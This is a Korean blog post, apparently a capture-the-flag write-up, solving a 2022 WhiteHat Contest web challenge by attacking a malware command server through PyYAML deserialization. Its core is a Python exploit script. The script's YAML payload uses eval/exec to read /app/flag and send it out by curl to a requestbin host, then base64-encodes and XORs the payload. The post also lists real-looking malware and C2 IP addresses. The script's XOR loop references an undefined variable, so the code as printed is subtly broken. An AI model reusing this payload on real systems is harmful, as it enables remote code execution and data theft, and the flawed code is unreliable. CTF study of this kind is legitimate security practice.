CTF/웹해킹
[2022 화이트햇 콘테스트 본선] F-1- 웹해킹 / Python / YAML Command Injection
SecurityMan
2024. 4. 10. 11:00
2022 화이트햇 콘테스트 본선에 출제되었던 문제
이전 E-5 문제와 이어지는 문제이다.
(https://hackingstudypad.tistory.com/720)
반응형
F-1 문제에서는
D-2의 악성코드와 통신하는 서버에 취약점을 찾아 공격하고
플래그를 획득하는 것이 목표이다.
D-2 문제의 악성코드는
http://15.165.18.103/gmae 에서 다운받은
dd.exe 인데
무력화환 도구들을 실행시켰을 때
dd.exe 가 대신 실행되도록 하는것이었다.
dd.exe 가 실행되면
3.39.253.212 목적지로 어떤 값을 보내는데
그 값이 형태가 YAML 형식이었다.
또한 서버의 응답 헤더를 확인해 봤을때
Python 을 이용해 구동중인 것을 확인했다.
이 부분은 문제푸는데 정신이 없어서 캡쳐를 제대로 하지 못했다.
아무튼 그래서 PyYAML을 이용한 yaml command injection 을 시도해봤다.
import requests
import base64
url = 'http://3.39.253.212'
payload = '''
- !!python/object/new:tuple [!!python/object/new/map [!!python/name:eval , [
'exec("import os; f=open(\\"/app/flag\\").read();os.system(\\"curl
http://requestbin주소?a=\\"+f)")' ]]]
'''
payload = base64.b64encode(payload.encode())
data = []
for a in payload:
data.append(c ^ 50)
data = bytes(data)
r = requests.post(url, data=dict(y=data))
print(r.text)
이런식으로
플래그의 위치인 /app/flag 의 내용을 읽어와서
curl 로 해당 내용을 a 파라미터에 담아 전송토록 했다.
base64 인코딩하고 50으로 xor 한것은
문제에서 동작하는 악성코드가 yaml 데이터를 보낼때
이런식으로 보내고 있었기 때문에 양식을 맞춘것이다.
그럼 이런식으로 /app/flag 이 base64 인코딩된 값으로 따라오는걸 볼 수 있다.
해당 값을 base64 디코딩해주면
플래그를 찾을 수 있다.
반응형